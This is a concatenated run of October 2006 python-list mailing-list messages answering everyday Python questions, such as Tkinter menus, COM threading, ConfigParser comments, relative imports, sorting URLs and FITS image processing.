updateDS1v(FOas, O, XDS) > updateDS1v(FNas, N, XDS) > updateDS1v(FSas, S, XDS) > updateDS1v(FClas, Cl, XDS) > updateDS1v(FBras, Br, XDS) > updateDS1v(FZnas, Zn, XDS) > print DS1v > > I know there is probably a simple solution but im quite new to python and am lost? > I strongly suggest reading through the tutorial. I don't think there's enough code here for anyone to check it properly. For instance, it looks like FCas exists somewhere as it's barfing on trying to find C. Where is XDS defined etc...? I can't see updateDS1v() ever completing: any Fxas passed in not equal to 0 will repeat indefinately. I'm guessing unless C is meant to be a variable, you mean to pass in the string 'C'. A dictionary already has it's own update method.... Perhaps if you explain what you're trying to do in plain English, we could give you some pointers. Jon. From schliep at molgen.mpg.de Wed Oct 11 04:09:28 2006 From: schliep at molgen.mpg.de (Alexander Schliep) Date: Wed, 11 Oct 2006 10:09:28 +0200 Subject: Tkinter: populating Mac Help menu? References: <6nMWg.64$ra5.26@newsfe05.lga> Message-ID: "Edward K. Ream" writes: > Creating a 'Help' menu 'by hand' on the Mac does not work, or > rather, it creates a *second* Help menu. Presuming you are talking about MacOS X, it doesn't for me. See Gato from http://gato.sourceforge.net/Download/ The menu code is at Alexander -- Alexander Schliep schliep at molgen.mpg.de http://algorithmics.molgen.mpg.de From onurb at xiludom.gro Thu Oct 12 04:57:47 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Thu, 12 Oct 2006 10:57:47 +0200 Subject: is there an easy way to create a database on the fly and let the user input values In-Reply-To: <1160628277.112881.211410@h48g2000cwc.googlegroups.com> References: <1160628277.112881.211410@h48g2000cwc.googlegroups.com> Message-ID: <452e038c$0$8601$426a74cc@news.free.fr> Eric_Dexter at msn.com wrote: > I don't realy care what database I use wx.grid or whatever. I > wan't it to look at a line > > 128 9023 23428 exc and create the database or pick something out of the > file as some sort of a descrition line and then display and allow the > user to change and add new lines. What is the easiest set of database > routines to use for such a project??? I'd go for something like SQLite or Gadfly - or even the standard CSV module if there are no need for a relational model. > http://www.dexrow.com > -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From fredrik at pythonware.com Wed Oct 25 02:03:45 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 25 Oct 2006 08:03:45 +0200 Subject: Sorting by item_in_another_list In-Reply-To: <2773CAC687FD5F4689F526998C7E4E5FF1EAFB@au3010avexu1.global.avaya.com> References: <2773CAC687FD5F4689F526998C7E4E5FF1EAFB@au3010avexu1.global.avaya.com> Message-ID: Delaney, Timothy (Tim) wrote: > That says pretty strongly to me that it's part of the language > specification. And I'm pretty sure Guido said as much when he > pronounced. oops. I'll blame it all on google's ability to bring up the wrong page on python.org when you do a quick google. guess I should have looked at the wiki version instead: http://pyref.infogami.com/list.sort which doesn't even bother to hide it in a footnote. From nairarunv at gmail.com Thu Oct 26 07:47:55 2006 From: nairarunv at gmail.com (Arun Nair) Date: 26 Oct 2006 04:47:55 -0700 Subject: Error to be resolved In-Reply-To: References: <1161861560.979401.29710@m73g2000cwd.googlegroups.com> Message-ID: <1161863275.157847.317680@b28g2000cwb.googlegroups.com> These is the latest with the changes made: ============================================================================================= from random import * from string import * class Card: def __init__(self, suit, rank): self.suit = suit self.rank = rank self.suit = ["None","Clubs","Diamonds","Hearts","Spades"] self.rank = ["zero", "Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack", "Queen", "King"] self.BJ = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10] def getRank(self): return self.rank def getSuit(self): return self.suit def BJValue(self): return self.BJ def __str__(self): '''return " %s of %s(%s)" % (self.rank[self.rank], self.suit[self.suit], self.BJ[self.rank])''' return self.rank + " of " + self.suit def main(): n = input("How many cards do you want to draw from the deck?") for i in range(n): a = randrange(1,13) b = randrange(1,4) c = Card(a,b) print c main() =============================================================================================== Still get an error: >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>> Traceback (most recent call last): File "C:\Python24\Lib\site-packages\pythonwin\pywin\framework\scriptutils.py", line 310, in RunScript exec codeObject in __main__.__dict__ File "D:\Charles Sturt University\ITC106 200670\Assignment2\A2_3.1.py", line 33, in ? main() File "D:\Charles Sturt University\ITC106 200670\Assignment2\A2_3.1.py", line 31, in main print c File "D:\Charles Sturt University\ITC106 200670\Assignment2\A2_3.1.py", line 23, in __str__ return self.rank + " of " + self.suit TypeError: can only concatenate list (not "str") to list >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> From steve at holdenweb.com Thu Oct 12 09:54:26 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 12 Oct 2006 14:54:26 +0100 Subject: Click and Drag Functionality in Web Apps with Python In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A06159B@mailbe01.teak.local.net> References: <3ACF03E372996C4EACD542EA8A05E66A06159B@mailbe01.teak.local.net> Message-ID: Wijaya Edward wrote: > Hi, > > Some recent webapps like Kiko , Google's gadget , and spreadsheets to name a few, > have this functionality. > > I wonder how can this funcitonalities be implemented in Python. > Do you guys have any experience with it? > Any Python module that support that? > > Regards, > Edward WIJAYA > SINGAPOE > In order for your request to make sense Python would have to be available as a browser programming language. This has been done (by Mark Hammond as part of the win32all extensions), but for security reasons it is no longer installed by default, and it's not sufficiently widespread to make such solutions really worthwhile. If you are talking about web servers *delivering* such interactive code, then there is no inherent difference between Python and other web servers - they just deliver the interactive code to the browser. Bob Ippolito's MochiKit is quite Pythonic in nature. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From fredrik at pythonware.com Sun Oct 1 04:20:13 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 01 Oct 2006 10:20:13 +0200 Subject: AN Intorduction to Tkinter In-Reply-To: <1159672543.243321.18760@b28g2000cwb.googlegroups.com> References: <1159303606.988830.54800@e3g2000cwe.googlegroups.com> <451A314F.3060703@isy.liu.se> <1159395485.824735.319090@b28g2000cwb.googlegroups.com> <1159419097.556600.160750@k70g2000cwa.googlegroups.com> <1159488825.144496.86610@c28g2000cwb.googlegroups.com> <1159672543.243321.18760@b28g2000cwb.googlegroups.com> Message-ID: flyingisfun1217 at gmail.com wrote: > As far as I can tell, its not anything to do with your code. I think > its something with tkinter modules. as in ? you've posted five posts to this thread, but you still haven't provided us with more clues than "I noticed they didn't work" and "I think it's something with some module". don't you think it would be easier to help you if you actually explained what you did, what you expected to happen, and what happened instead ? From spitfire2525 at yahoo.com Tue Oct 3 04:44:01 2006 From: spitfire2525 at yahoo.com (=?ISO-8859-1?Q?Peter_Ilgensch=FCtz?=) Date: Tue, 03 Oct 2006 10:44:01 +0200 Subject: Simple but fast 2D lib for drawing pixels In-Reply-To: References: <1159225798.492198.89880@b28g2000cwb.googlegroups.com> <1hmhych.1jaomee1msbzi8N%aleax@mac.com> <1159706488.576589.82080@i3g2000cwc.googlegroups.com> <4520408d$0$26622$91cee783@newsreader01.highway.telekom.at> Message-ID: <452222D1.9030006@yahoo.com> Thanks Dave for this tip, this is excellent, exactly what I have been looking for! I'm using it already :-) Kind Regards, Peter davelist at mac.com wrote: > > On Oct 1, 2006, at 6:28 PM, Peter Mexbacher wrote: > >> Hello, >> >> we want to teach absolute programming newbies >> a first language, so they can start programming >> simple scientific models. >> >> We thought Python would make a good choice for >> a first language; but where pretty stumped when >> we found out that there is no simple way to draw >> pixels to a screen. (This is needed for fractals, >> agent-based models etc -> like Conways Game of Life) >> >> Our requirements: >> >> -) easy to learn (newbs!) >> -) not too slow (after all, the models should simulate something) >> -) python :-) >> >> Any ideas? >> >> Best Regards, >> Peter > > > You might check out John Zelle's Python book - he uses a simple > graphics library on top of Tk (which Python comes with). You can find > information on his book and the graphics.py file he uses at: > > http://mcsp.wartburg.edu/zelle/python/ > > It certainly meets your easy to learn and Python requirements - and of > course speed is subjective so it may or may not be fast enough for you. > > Dave > > > > > From martin at v.loewis.de Mon Oct 23 18:56:15 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 24 Oct 2006 00:56:15 +0200 Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax Trees In-Reply-To: References: Message-ID: <453d4890$0$22566$9b622d9e@news.freenet.de> Georg Brandl schrieb: > Perhaps you can bring up a discussion on python-dev about your improvements > and how they could be integrated into the standard library... Let me second this. The compiler package is largely unmaintained and was known to be broken (and perhaps still is). A replacement implementation, especially if it comes with a new maintainer, would be welcome. Regards, Martin From osv at javad.com Wed Oct 25 05:14:01 2006 From: osv at javad.com (Sergei Organov) Date: Wed, 25 Oct 2006 13:14:01 +0400 Subject: Visibility against an unknown background References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com> <2f334ccd0610241237q430e6199g1f10daf7421fd7f5@mail.gmail.com> Message-ID: "Filip Salomonsson" writes: > On 10/24/06, Sergei Organov wrote: >> I'd be very upset to see, say, 5-6 highly intersecting >> scientific plots on the same picture drawn using the >> "marching ants" approach. > > I'd be a bit upset to see scientific plots *on a picture* at all, > regardless of approach. Sorry, probably I just wrongly used the word "picture" here, I didn't mean to mean something like "photo". Maybe "canvas" should have been a better word. -- Sergei. From jpd at whispertel.LoseTheH.net Thu Oct 12 15:29:43 2006 From: jpd at whispertel.LoseTheH.net (John Doty) Date: Thu, 12 Oct 2006 13:29:43 -0600 Subject: Standard Forth versus Python: a case study In-Reply-To: <1160678984.834805.114550@h48g2000cwc.googlegroups.com> References: <1160678984.834805.114550@h48g2000cwc.googlegroups.com> Message-ID: Juho Schultz wrote: > John Doty wrote: > >> The problem: >> >> I have a bunch of image files in FITS format. For each raster row in >> each file, I need to determine the median pixel value and subtract it >> from all of the pixels in that row, and then write out the results as >> new FITS files. >> > > This may be personal bias... I have spent a few years with FITS files > so every time I see 'FITS' I think 'astronomy' - maybe you are doing > something else. (Someone wrote he does not know what FITS is - see > fits.gsfc.nasa.gov In a nutshell: FITS file is a list of header-data > units. Each header is text containing optional keyword-value pairs and > reading instructions for the data unit. Usually astronomical image data > but it can be anything.) > > Sounds like subtracting sky background from the frames, though for some > reason (speed?) column-wise. You could have a look at either PyRAF > (www.stsci.edu/resources/software_hardware/pyraf) or PyMidas > (www.eso.org/sampo/pymidas/). Running some semi-official > sky-subtraction algorithm would at least give you a good case to test > against. > > You could also check if ftools already does this. I have not used it > much, but sometimes it saves huge amounts of coding time. > heasarc.gsfc.nasa.gov/docs/software/ftools/ftools_menu.html > >> This is a real problem I need to solve, not a made-up toy problem. I was >> originally thinking of solving it in C (I know where to get the pieces >> in that language) > > Could you tell a bit more of the data? Are you aiming for accuracy, > speed or getting as complete time series as possible? (for me, speed > has never been an issue) Photometry/astrometry/something else? Is there > some trade-off like "get best possible result in X seconds"? Yeah, I'm fairly familiar with that stuff, I was/am an investigator on ASCA, Chandra, HETE-2, Suzaku. Didn't know of anything quite right for this job. With the right imports it was only 15 lines of Python, hard to beat that. It isn't my data to release, it's MKI's. Development project. And they have plenty of folks who know IRAF, ftools, etc. They didn't know how to do quite what they wanted here. -- John Doty, Noqsi Aerospace, Ltd. -- Specialization is for robots. From python.list at tim.thechases.com Fri Oct 13 18:28:13 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Fri, 13 Oct 2006 17:28:13 -0500 Subject: Starting out. In-Reply-To: <1160721163.418861.269450@f16g2000cwb.googlegroups.com> References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> <1160696990.5969.4.camel@dsktp> <452f06a8$0$5108$afc38c87@news.optusnet.com.au> <1160721163.418861.269450@f16g2000cwb.googlegroups.com> Message-ID: <453012FD.9090407@tim.thechases.com> > Maybe you should say "amongst the longest" > > pepperwort > perpetuity > perruquier > pirouetter > proprietor > repertoire > typewriter > > But even that would be wrong. > > rupturewort > >> hey, look, it's Friday proprietory proterotype rupturewort according to my web2 list of words. Hey, look, it's Friday, after 5:00pm! :) -tkc From SSchukat at dspace.de Tue Oct 17 04:20:40 2006 From: SSchukat at dspace.de (Stefan Schukat) Date: Tue, 17 Oct 2006 09:20:40 +0100 Subject: Thread termination Message-ID: <1B3F2E002D9AD04BBC1A27B370F29EB9023109@exchange2003.dspace.de> Hello you are using the module variable ie inside the Generic Function, but you have to use "d" since this is the Python object which is allowed to access the COM object in the separate thread. Stefan ________________________________ From: Tejovathi P [mailto:tejovathi.p at gmail.com] Sent: Monday, October 16, 2006 9:47 AM To: Stefan Schukat Subject: Re: Thread termination HI all, I have a problem in accesing COM objects in threads. To be precise, lets assume that I have a class GenericFunctions which is defined as follows: import win32com.client, pythoncom, thread ie=win32com.client.Dispatch('internetexplorer.application') ie.Visible=1 class GenericFunctions: def __init__(self): print "In Constructor of Generic Functions" def MyNavigate(self,dest): ie.Navigate(dest) Now there is another file Main.py which is defined as follows: import win32com.client, pythoncom, thread from GenericFunctions import * obj = GenericFunctions() class Mainclass: def __init__(self); print "In Constructor of Main class" def threadFunction(self,dest): pythoncom.CoInitialize() d=pythoncom.CoGetInterfaceAndReleaseStream(s, pythoncom.IID_IDispatch) my_ie=win32com.client.Dispatch(d) obj.func(dest) # this is gving an error. pythoncom.CoUninitialize() if __name__ == "__main__": s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatc h,ie) thread.start_new_thread(self.nav, (s,'www.google.com ') Basically, I want to access object of GenericFunctions class inside threadFunction(). However I was able to execute my_ie.Navigate("google.com"). But that was not I wanted. I am not knowing where the error is.... Please let me know the solution ASAP... Teja.P On 10/13/06, Stefan Schukat wrote: Reading from your last posts you are using COM objects. Therefore you should not "kill" the thread since this would lead to reference leaks. So there are only two ways left: 1. Program a specific interpreter and not use python.exe which implements an access to PyThreadState_SetAsyncExc 2. Check in the separate thread at specific times a variable which is set in the main thread. Both need the try finally construct in the threadfunction to release COM objects in the right way. I.e., (taking the source from Roger): def ThreadFunction(istream, dest): pythoncom.CoInitialize() // Initialize COM Runtime for this thread try: d=pythoncom.CoGetInterfaceAndReleaseStream(istream, pythoncom.IID_IDispatch) my_ie=win32com.client.Dispatch (d) my_ie.Navigate(dest) finally: my_ie = None // Release COM object pythoncom.CoUninitialize() // Release COM Runtime for this thread Stefan -------------- next part -------------- An HTML attachment was scrubbed... URL: From paul at boddie.org.uk Thu Oct 19 06:12:11 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 19 Oct 2006 03:12:11 -0700 Subject: Install from source on a x86_64 machine References: Message-ID: <1161252731.452070.308570@h48g2000cwc.googlegroups.com> Christopher Taylor wrote: > > Being relatively new to linux I'm a little confused about what options > I need to use to build python from source. The README should provide sufficient information, although if you want to install Python into /usr rather than /usr/local (as I believe is the default), you need to run configure as follows: ./configure --prefix=/usr > Currently, I have python installed as part of the inital RHEL4 load > located at /usr/bin/Python and /usr/bin/Python2.3 . Some of the files > are located in /usr/lib64/Python2.3 and in /usr/lib/Python2.3 . > Please let me know if you need dir lsitings. In fact, it's /usr/bin/python, /usr/bin/python2.3, /usr/lib64/python2.3 and /usr/lib/python, since Red Hat hasn't decided to capitalise the name of the software. ;-) > I'm trying to compile from source and plan on using the > --enable-unicode=ucs4 option for the configure script due to some RHEL > messing around with Tcl/Tk. > > *** How do I get make altinstall to put the appropriate files in > /usr/lib64/Python2.4 and /usr/lib/Python2.4 respectively ? *** The configured Makefile together with the various other tools should work out where to put the libraries. I'm a newcomer to x86-64, although I've had some relatively recent experience with sparc64, and whilst I'm not really familiar with the way the various tools choose the install directory of libraries, I've noticed that sometimes 64-bit libraries end up in lib rather than lib64. Meanwhile, I notice that the Red Hat libraries do adhere correctly to the expectation that 32-bit libraries are found under /usr/lib/python2.3 and 64-bit libraries are found under /usr/lib64/python2.3. Perhaps you should configure and make Python, then run the install process in "pretend" mode: make -n altinstall You'll get a huge amount of output, but this should at least tell you what the installation process is thinking of doing, and it won't be overwriting anything important while it does so. Paul From gwillden at gmail.com Thu Oct 12 16:13:19 2006 From: gwillden at gmail.com (gwillden at gmail.com) Date: 12 Oct 2006 13:13:19 -0700 Subject: ConfigParser: whitespace leading comment lines Message-ID: <1160683999.617345.46570@b28g2000cwb.googlegroups.com> Hello all, I'd like to propose the following change to ConfigParser.py. I won't call it a bug-fix because I don't know the relevant standards. This change will enable multiline comments as follows: [section] item=value ;first of multiline comment ;second of multiline comment Right now the behaviour is In [19]: cfg.get('section','item') Out[19]: 'value\n;second of multiline comment' It's a one-line change. RawConfigParser._read lines 434-437 # comment or blank line? - if line.strip() == '' or line[0] in '#;': + if line.strip() == '' or line.strip()[0] in '#;': continue Regards, Greg Willden From paddy3118 at netscape.net Sun Oct 1 08:40:16 2006 From: paddy3118 at netscape.net (Paddy) Date: 1 Oct 2006 05:40:16 -0700 Subject: builtin regular expressions? In-Reply-To: <451e37a5$1@news.vo.lu> References: <451e37a5$1@news.vo.lu> Message-ID: <1159706416.042276.293580@m7g2000cwm.googlegroups.com> Antoine De Groote wrote: > Hello, > > Can anybody tell me the reason(s) why regular expressions are not built > into Python like it is the case with Ruby and I believe Perl? Like for > example in the following Ruby code > > line = 'some string' > > case line > when /title=(.*)/ > puts "Title is #$1" > when /track=(.*)/ > puts "Track is #$1" > when /artist=(.*)/ > puts "Artist is #$1" > end > > I'm sure there are good reasons, but I just don't see them. > I'd say that Ruby took a lot of its early design clues from Perl. If you want to attract Perl programmers then they expect such things. Python has an emphasis on clarity/readability and on maintainability. It has other string methods that are much easier to read and maintain than regular expressions. There is of course a class of problem well suited to regular expressions but it is easy for people coming to Python from Perl or AWK to rely too heavily on RE's. Personally, my problem with REs is that their is inadequate debug capabilites for them. The best way I have found is to shove some example text into Kodos and incrementally refine my RE by viewing the RE's results on the example text. RE's also tend to look like line noise, even when you use the x switch and use whitesspace+comments. > Python Culture says: 'Explicit is better than implicit'. May it be > related to this? Well, by putting RE's into the language I presume you also mean doing the equivalent of setting group variables? That would be a 'magic' side effect unless you explicitly assigned them, e.g: person, craving = r"My\s(\S+)likes\s(\S+)" ~~ text # using ~~ for an RE match operator The more readable I try and make it though, the more I appreciate the Python way of doing things. - Pad. From fulvio at tm.net.my Wed Oct 25 03:52:15 2006 From: fulvio at tm.net.my (Fulvio) Date: Wed, 25 Oct 2006 15:52:15 +0800 Subject: Change on file In-Reply-To: <1uzfymw6npgtq$.i9somy6b4b3o$.dlg@40tude.net> References: <1uzfymw6npgtq$.i9somy6b4b3o$.dlg@40tude.net> Message-ID: <200610251552.15242.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** On Tuesday 24 October 2006 20:22, Alan Franzoni wrote: > it could put the system under severe workload. Thank you for the enlightment :-) In my case it's meant to check a couple of files, but no more than 10 Mbytes. The most purpose is to find differences since last check. I suppose it's a good way, as other programs using CRC as comparison between file, better than byte-to-byte diff. Also CD images and big files download are giving a MD5 check. My point stand as platform indipendent solution and won't take extra fancy modules which aren't part of python package itself. I'll look at SVF and timestamp options. I'm less actracted by the idea of 'stat' on the file, Now I'm on linux and I've some doubt about win32 options. PS. C'e' la MList per iclp? F From martin at v.loewis.de Sun Oct 22 08:54:15 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sun, 22 Oct 2006 14:54:15 +0200 Subject: Py 2.5: Bug in sgmllib In-Reply-To: <453b5421$0$5717$9b4e6d93@newsspool3.arcor-online.net> References: <453b5421$0$5717$9b4e6d93@newsspool3.arcor-online.net> Message-ID: <453B69F7.8070600@v.loewis.de> Michael Butscher schrieb: > Is this a bug or is SGMLParser not meant to be used for unicode strings > (it should be documented then)? In a sense, SGML itself is not meant to be used for Unicode. In SGML, the document character set is subject to the SGML application. So what specific character a character reference refers to is also subject to the SGML application. This entire issue is already documented; see the discussion of convert_charref and convert_codepoint in http://docs.python.org/lib/module-sgmllib.html Regards, Martin From jorge.vargas at gmail.com Sun Oct 8 22:15:20 2006 From: jorge.vargas at gmail.com (Jorge Vargas) Date: Sun, 8 Oct 2006 22:15:20 -0400 Subject: Dive Into Java? In-Reply-To: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> Message-ID: <32822fe60610081915w68dbbefdw45eb0f57a1e87534@mail.gmail.com> Sun's Java tutorial, and went your confortable with it. Thinking in Java Bruce Eckel On 8 Oct 2006 15:30:15 -0700, erikcw wrote: > DiveIntoPython.org was the first book I read on python, and I really > got a lot out of it. I need to start learning Java (to maintain a > project I've inherited), and was wondering if anyone knew of any > similar books for Java? > > Maybe once I know my way around the language, I can sneak Jython in... > :-) > > Thanks! > Erik > > -- > http://mail.python.org/mailman/listinfo/python-list > From theller at ctypes.org Thu Oct 26 04:31:29 2006 From: theller at ctypes.org (Thomas Heller) Date: Thu, 26 Oct 2006 10:31:29 +0200 Subject: Slightly OT: Is pyhelp.cgi documentation search broken? In-Reply-To: References: Message-ID: <45407261.2060107@ctypes.org> Joel Hedlund schrieb: > Hi! > > For a number of days I haven't been able to search the online python > docs at: > > http://starship.python.net/crew/theller/pyhelp.cgi > > that is the "search the docs with" link at this page: > > http://www.python.org/doc/ > > Instead of the search engine, I get Error 404. This is a real bother for > me, since I rely heavily on it for my work. > > Is it broken? If so, is anybody trying to get it back up again, and > what's the time scale in that case? Is there an alternative available > somewhere? The operating system on the starship.python.net machine was reinstalled from scratch; but the 'crew' pages still have to be restored. This will take some days, IMO. Thomas From jUrner at arcor.de Sat Oct 14 21:45:10 2006 From: jUrner at arcor.de (jUrner at arcor.de) Date: 14 Oct 2006 18:45:10 -0700 Subject: Relative import bug or not? In-Reply-To: <1160866262.002826.110940@m7g2000cwm.googlegroups.com> References: <1160866262.002826.110940@m7g2000cwm.googlegroups.com> Message-ID: <1160876709.887825.275740@m7g2000cwm.googlegroups.com> Alexey Borzenkov wrote: > After reading PEP-0328 I wanted to give relative imports a try: > > # somepkg/__init__.py > > > # somepkg/test1.py > from __future__ import absolute_import > from . import test2 > > if __name__ == "__main__": > print "Test" > > # somepkg/test2.py > > > But it complaints: > C:\1\somepkg>test1.py > Traceback (most recent call last): > File "C:\1\somepkg\test1.py", line 1, in > from . import test2 > ValueError: Attempted relative import in non-package > > Does this mean that packages that implement self tests are not allowed > to use relative import? Or is it just a bug? I can understand that I > can use "import test2" when it's __main__, but when it's not now it > complains about no module test2 with absolute_import on. > > PEP-0328 also has this phrase: "Relative imports use a module's > __name__ attribute to determine that module's position in the package > hierarchy. If the module's name does not contain any package > information (e.g. it is set to '__main__') then relative imports are > resolved as if the module were a top level module, regardless of where > the module is actually located on the file system.", but maybe my > english knowledge is not really good, because I can't understand what > should actually happen here ("relative imports are resolved as if the > module were a top level module")... :-/ > > So is it a bug, or am I doing something wrong? Short version is: relative imports do not work in 2.5 when a script is run as "__main__" J?rgen From ebgssth at gmail.com Mon Oct 2 11:08:06 2006 From: ebgssth at gmail.com (js ) Date: Tue, 3 Oct 2006 00:08:06 +0900 Subject: Sort by domain name? Message-ID: Hi list, I have a list of URL and I want to sort that list by the domain name. Here, domain name doesn't contain subdomain, or should I say, domain's part of 'www', mail, news and en should be excluded. For example, if the list was the following ------------------------------------------------------------ http://mail.google.com http://reader.google.com http://mail.yahoo.co.uk http://google.com http://mail.yahoo.com ------------------------------------------------------------ the sort's output would be ------------------------------------------------------------ http://google.com http://mail.google.com http://reader.google.com http://mail.yahoo.co.uk http://mail.yahoo.com ------------------------------------------------------------ As you can see above, I don't want to Thanks in advance. From Laundro at gmail.com Tue Oct 31 09:48:11 2006 From: Laundro at gmail.com (LaundroMat) Date: 31 Oct 2006 06:48:11 -0800 Subject: Help me understand this iterator In-Reply-To: References: <1162294568.168728.178270@m73g2000cwd.googlegroups.com> Message-ID: <1162306091.528097.86850@e3g2000cwe.googlegroups.com> Thanks all, those were some great explanations. It seems I have still still a long way for me to go before I grasp the intricacies of this language. That 'magic index' variable bugs me a little however. It gives me the same feeling as when I see hard-coded variables. I suppose the generator class has taken care of this with its next() method (although - I should have a look - __next__() probable takes self and index as its arguments). Although I'm very fond of the language (as a non-formally trained hobbyist developer), that "magic" bit is a tad disturbing. Still, thanks for the quick and complete replies! From deets at nospam.web.de Tue Oct 10 04:48:12 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Tue, 10 Oct 2006 10:48:12 +0200 Subject: Everything is a distributed object In-Reply-To: References: Message-ID: <4p152cFgq3pnU1@uni-berlin.de> Martin Drautzburg schrieb: > Hello all, > > I've seen various attempts to add distributed computing capabilities on top > of an existing language. For a true distributed system I would expect it to > be possible to instantiate objects of a remote class or to subclass a > remote class and other stuff like this. My impression is that those things > are difficult when built on top of an existing language. > > Since the paradigm "everything is an object" pays so well, I thought it > might be less painful to implement a distributed system from ground up, > starting with the paradigm: "everything is a distributed object". > > Do you know if such a thing has been attempted with python, i.e. by hacking > the python core and add new capabilities to "object". Or do you think that > this is really a silly idea ? Pyro is pretty neat in that respect. And besides that, I think it is a rather silly idea. In such an environment, immediately issues about concurrency, connection failures and sychronous/asynchronous execution arise, adding tremendously to the complexity of even the simplest of tasks. And thus should be kept out of those simple tasks... A natural integration of concurrency as in erlang, or with pyro, is a good thing(tm), but not as base principle, IMHO. Diez From Roka100 at gmail.com Sun Oct 29 23:26:41 2006 From: Roka100 at gmail.com (Jia Lu) Date: 29 Oct 2006 20:26:41 -0800 Subject: How to access file last modified dates on each file in a directory In-Reply-To: <1162177219.649954.318150@h48g2000cwc.googlegroups.com> References: <1162177219.649954.318150@h48g2000cwc.googlegroups.com> Message-ID: <1162182401.398905.185210@e3g2000cwe.googlegroups.com> RAMohrmann at adelphia.net wrote: > Greetings, > > I am attempting to view all files in a directory and if those files > have not been modified within the last couple days I will remove them. > In order to do this I need to look at the file date modied and check > the date. I know how to look at each file name and I know how to remove > the file. I just can't figure out how to get access to the date last > modifed filed. For this you have some solutions. 1, import os import time time.ctime(os.stat(r"L:\MyDoc\EBook\Python").st_mtime) 2, os.path.getmtime() 3, in Win32 win32file.GetFileTime int = GetFileTime(handle, creationTime , accessTime , writeTime ) From onurb at xiludom.gro Fri Oct 13 10:11:14 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Fri, 13 Oct 2006 16:11:14 +0200 Subject: operator overloading + - / * = etc... In-Reply-To: References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> <452a6a61$0$22844$426a74cc@news.free.fr> <452e0244$0$8601$426a74cc@news.free.fr> Message-ID: <452f9e84$0$15879$426a34cc@news.free.fr> Terry Reedy wrote: > "Bruno Desthuilliers" wrote in message > news:452e0244$0$8601$426a74cc at news.free.fr... >> Terry Reedy wrote: >>> "Bruno Desthuilliers" wrote in message >>> news:452a6a61$0$22844$426a74cc at news.free.fr... >>>> The current namespace object, of course. >>> Implementing a namespace as a Python object (ie, dict) is completely >>> optional and implementation dependent. For CPython, the local namespace >>> of >>> a function is generally *not* done that way. >> I know this, and that's not the point here. The op's question seemed to >> imply that the hypothetical __assign__ method should belong to the rhs >> object, which is obviously not the case - it must of course belongs to >> the lhs 'object'. > > And my point is that in general there is no lhs object for the method to > belong to. Mmm... Of course, there's always something that's being used as a namespace. But yes, this something may not be directly accessible as a Python object. . -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From amk at amk.ca Tue Oct 17 07:58:48 2006 From: amk at amk.ca (A.M. Kuchling) Date: Tue, 17 Oct 2006 06:58:48 -0500 Subject: OT: What's up with the starship? References: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> <1160938429.707909.28360@f16g2000cwb.googlegroups.com> <1160947865.920162.173040@i3g2000cwc.googlegroups.com> <1160974552.906162.115060@k70g2000cwa.googlegroups.com> <1160983523.518768.16110@e3g2000cwe.googlegroups.com> <1161021960.792970.238240@m73g2000cwd.googlegroups.com> <1161025636.641534.282290@f16g2000cwb.googlegroups.com> Message-ID: On Mon, 16 Oct 2006 14:50:03 -0500, skip at pobox.com wrote: > suggests that it was sufficiently obscure that either a) nobody who knew > about it found a way to take advantage of it, or b) it was only recently It might well be difficult to exploit to run arbitrary code because your exploit code needs to have no unprintable bytes in it; repr() turns unprintable characters into \xNN, after all, and isn't doing a straightforward string copy. (But hackers can be very clever...) --amk From fredrik at pythonware.com Thu Oct 5 14:56:18 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 05 Oct 2006 20:56:18 +0200 Subject: What value should be passed to make a function use the default argument value? In-Reply-To: <7.0.1.0.0.20061005153148.05a4a350@yahoo.com.ar> References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xwt7gqwb3.fsf@ruckus.brouhaha.com> <7xac4cpefr.fsf@ruckus.brouhaha.com> <7xhcyk2u1z.fsf@ruckus.brouhaha.com> <7.0.1.0.0.20061005153148.05a4a350@yahoo.com.ar> Message-ID: Gabriel Genellina wrote: >> > the general rule is that if the documentation doesn't explicitly say >> > that something is a keyword argument, it isn't, and shouldn't be >> > treated as such. >> >> The first module I looked in to check this, it wasn't true. In the Queue >> Module is isn't explicitly written that maxsize is a keyword argument yet >> Queue.Queue(maxsize=9) works just fine. > > This is true for most python code, unless the arguments are get as *args. you guys need to look up the words "should" and "not" in a dictionary. From Eric_Dexter at msn.com Sun Oct 29 20:28:48 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 29 Oct 2006 17:28:48 -0800 Subject: simple oop question (hopefully) In-Reply-To: 